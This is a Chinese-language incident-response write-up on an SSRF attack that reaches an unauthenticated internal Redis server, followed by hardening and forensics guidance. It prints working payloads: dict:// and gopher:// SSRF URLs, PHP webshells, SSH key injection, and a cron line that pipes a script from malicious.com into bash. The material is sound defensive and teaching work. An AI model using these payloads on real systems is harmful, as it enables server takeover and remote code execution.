从一次应急响应复盘：Redis未授权访问如何被SSRF“远程遥控”写Shell
从应急响应视角拆解SSRF攻击链：Redis未授权访问的实战防御指南
凌晨3点15分，安全团队的告警系统突然响起刺耳的蜂鸣声。监控显示，某台Web服务器正在异常访问内网的Redis服务，而运维同事从未配置过此类连接。两小时后，我们在网站的upload目录下发现了陌生的PHP文件——这是一起典型的SSRF结合Redis未授权访问的攻击事件。本文将基于真实应急响应案例，还原攻击者如何通过SSRF漏洞"遥控"内网Redis服务，并最终写入Webshell的全过程。
1. 攻击链全景还原：从SSRF到Redis入侵
1.1 初始攻击入口：SSRF漏洞的发现与利用
攻击者通常通过以下方式发现SSRF漏洞：
- 对Web应用中的URL参数进行模糊测试
- 检查文件上传、PDF生成等功能的对外请求
- 利用DNS重绑定技术绕过IP限制
典型攻击日志特征：
2023-05-17T03:15:22.451Z "GET /export?url=http://192.168.1.100:6379/info HTTP/1.1" 200 342 2023-05-17T03:15:25.783Z "GET /export?url=dict://192.168.1.100:6379/info HTTP/1.1" 200 2151.2 内网Redis的探测与认证绕过
当攻击者通过SSRF接触到内网Redis服务时，会立即进行服务指纹识别：
| 探测方式 | 预期响应特征 | 风险等级 |
|---|---|---|
| HTTP协议探测 | 返回ERR协议错误 | 低 |
| DICT协议探测 | 返回Redis版本信息 | 高 |
| GOPHER协议探测 | 支持多命令执行 | 严重 |
未授权访问验证命令：
redis-cli -h 192.168.1.100 -p 6379 INFO # 若返回服务器信息且无AUTH错误，则存在未授权访问2. 攻击技术深度解析：协议利用与持久化技术
2.1 多协议攻击手法对比
攻击者会根据网络环境选择不同协议：
DICT协议利用特点：
- 单次只能执行一条命令
- 适合快速探测和简单操作
- 典型利用路径：
dict://192.168.1.100:6379/CONFIG SET dir /var/www/html dict://192.168.1.100:6379/CONFIG SET dbfilename shell.php
GOPHER协议高级利用：
- 支持多命令连续执行
- 可完成复杂攻击链
- 示例攻击流程：
gopher://192.168.1.100:6379/_AUTH%2520attacker_pass%250a FLUSHALL%250a SET shell "<?php system($_GET['cmd']);?>"%250a CONFIG SET dir /var/www/html%250a CONFIG SET dbfilename webshell.php%250a SAVE%250a
2.2 多种持久化技术剖析
攻击者常用的后门写入方式：
Webshell写入
CONFIG SET dir /var/www/html CONFIG SET dbfilename backdoor.php SET payload "\n\n<?php eval($_POST['cmd']);?>\n\n" SAVESSH公钥注入
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.1.100 -x set ssh_key redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys redis-cli -h 192.168.1.100 SAVE定时任务植入
CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET payload "\n\n*/5 * * * * curl http://malicious.com/shell.sh | bash\n\n" SAVE
3. 防御体系构建：从基础加固到深度防护
3.1 Redis服务基础加固清单
必须实施的加固措施：
认证配置：
# redis.conf requirepass ComplexPassw0rd!@# rename-command CONFIG ""网络隔离：
bind 127.0.0.1 protected-mode yes权限控制：
useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis
3.2 高级防御策略
网络层防护：
- 使用网络策略限制Redis端口访问
- 为Redis服务配置独立的VLAN
- 部署IDS规则检测异常Redis协议流量
应用层防护矩阵：
| 防护层面 | 具体措施 | 实施难度 |
|---|---|---|
| 协议 | 禁用非业务必要协议（如DICT） | 中 |
| 请求验证 | 实施严格的SSRF过滤规则 | 高 |
| 行为监控 | 建立Redis命令审计日志 | 中 |
| 容器化 | 使用Docker部署并限制能力 | 高 |
关键监控指标：
# Prometheus监控规则示例 - alert: RedisConfigChange expr: changes(redis_config_set_commands_total[5m]) > 0 for: 2m labels: severity: critical4. 应急响应实战：攻击痕迹排查与溯源
4.1 入侵指标(IOC)收集
Redis日志关键检查点：
grep -E "CONFIG|SAVE|SLAVEOF|MODULE" /var/log/redis/redis.log文件系统可疑痕迹：
- /var/www/html目录下异常.php文件
- /root/.ssh/authorized_keys最近修改
- /var/spool/cron/下异常任务
内存取证命令：
redis-cli --latency -h 192.168.1.100 # 检测异常连接 netstat -tulnp | grep redis # 检查异常连接4.2 攻击时间线重建
基于日志还原攻击过程的示例方法：
提取Web日志中的SSRF请求
awk '/export?url=redis/{print $4,$7}' access.log | sort -k1交叉关联Redis日志时间戳
grep -n "CONFIG SET" /var/log/redis/redis.log建立攻击事件序列表格：
| 时间戳 | 攻击阶段 | 关键操作 |
|---|---|---|
| 2023-05-17T03:15:22Z | 初始探测 | DICT协议INFO命令 |
| 2023-05-17T03:17:06Z | 配置修改 | CONFIG SET dir /var/www/html |
| 2023-05-17T03:18:41Z | Webshell写入 | SET payload + SAVE |
5. 企业级防护架构设计
5.1 分层防御体系
云环境下的防护方案：
graph TD A[Web应用防火墙] --> B[SSRF过滤规则] B --> C[网络ACL] C --> D[Redis安全组] D --> E[实例级防护] E --> F[审计日志]5.2 自动化安全运维
Ansible加固Playbook示例：
- name: Harden Redis Server hosts: redis_servers tasks: - name: Update redis.conf template: src: templates/redis.conf.j2 dest: /etc/redis/redis.conf notify: restart redis - name: Set filesystem permissions file: path: "/var/lib/redis" owner: redis group: redis mode: '0750'关键加固参数模板：
# redis.conf.j2 protected-mode yes rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" requirepass {{ redis_password }}在多次应急响应中我们发现，攻击者常利用业务高峰期的监控盲区进行入侵。某次事件中，攻击者特意选择在系统备份时段进行操作，利用备份进程的高负载掩盖其恶意活动。这提醒我们需要建立异常行为基线，而不仅是依赖固定规则检测。